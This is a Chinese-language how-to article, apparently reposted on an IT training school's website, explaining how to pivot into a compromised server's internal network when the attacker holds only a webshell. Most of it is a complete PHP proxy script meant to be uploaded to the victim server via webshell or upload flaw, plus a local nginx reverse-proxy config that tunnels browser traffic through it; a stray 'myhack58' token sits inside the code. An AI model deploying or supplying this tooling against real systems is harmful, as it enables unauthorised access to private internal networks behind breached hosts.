如何实现服务器上的端口代理
如何实现服务器上的端口代理?有时候要代理进内网，但是服务器没有外网端口，也没法执行命令反弹lcx什么的，也没有提权什么什么的，只有一个webshell，这个时候就比较纠结了。
在这分享一个比较山寨的php+nginx反向代理，可以比较容易的实现这个功能。
架设起来也算是比较方便了。就把这个用webshell也好，上传漏洞也好，甩到对方服务器上。
然后配置一下本地的nginx，做一个反向代理+rewrite就OK。
先看代码
proxy.php
<?php
if(!isset($_GET['url'])){
exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
$url.='&';
}
else{
$url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
curl_setopt($ch, CURLOPT_POST, 1);
$post_data=''; myhack58
foreach($_POST as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$post_data=$post_data.'&'.$Key.'='.urlencode($Val);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
curl_close($ch);
exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r\n",$Header);
foreach($Headers as $ThusHead){
if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
continue;
}
header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>
代码很简单，也有一些简单的小bug，不知各位看官看出来没有，我也懒得去修改了。
另外就是:
1. 这个代理只支持基本的GET/POST并不支持上传文件，有兴趣的可以自己看看，搞搞，搞完发出来，造福大家
2. 这个代理在转发post请求的时候，用的并不是www-url-encode，所以，也许会有的程序识别不正常
然后在本地的nginx里面新加一个配
# proxy webshell
server {
listen 这里写监听端口;
location ~ () {
proxy_pass http://webshell的IP/文件/存放/目录/com/proxy.php?url=http://$host/$request_uri;
proxy_set_header Host "访问webshell用域名";
}
}
然后重新加载一下nginx配置，配置浏览器使用nginx监听的端口做为代理，就可以使了。
本文由站河南北大青鸟校区整编而成，如需了解更多IT资讯类的文章、新闻、课程和学习技巧、就业案例、招生详情等问题，可以对在线咨询老师进行一对一问答！
- 上一篇：怎么利用搜索引擎搜索查找自己想要的资料
- 下一篇：网络终端错误信息原因分析与解答大全
推荐资讯
- 企业重金猎获青鸟信鸽优秀IT人才... 2012-07-01
- 郑州北大青鸟成就IT白领梦想... 2012-10-13
- 郑州北大青鸟职业学院翔天信鸽校... 2019-04-02
- 河南网络工程师培训关注舟曲学生... 2012-10-13
- 河南郑州有什么IT技校比较好... 2023-07-08
热点资讯
- 电脑温度多少是正常的情况呢？... 2018-09-07
- 四个策略及简单的防护方法... 2018-09-07
- 对硬盘进行双分区有什么好处... 2018-09-07
- 文件加密的几个简单方法... 2018-09-07
- 计算机小技巧，80G硬盘巧变变成... 2018-09-07
联系电话：400-638-3521/
值班热线：15225191462(手机)
Copyright ? 2006-2020 All Rights Reserved. 版权所有
郑州北大青鸟翔天信鸽软件学院 地址：郑州市文化路90号河南财经政法大学文南校区1号教学楼 网站地图 乘车路线 - 联系我们 - 网站RSS - 河南北大青鸟招聘
豫ICP备10022989号-1 办学许可证号：1601035000013 
豫公网安备 41010502002899号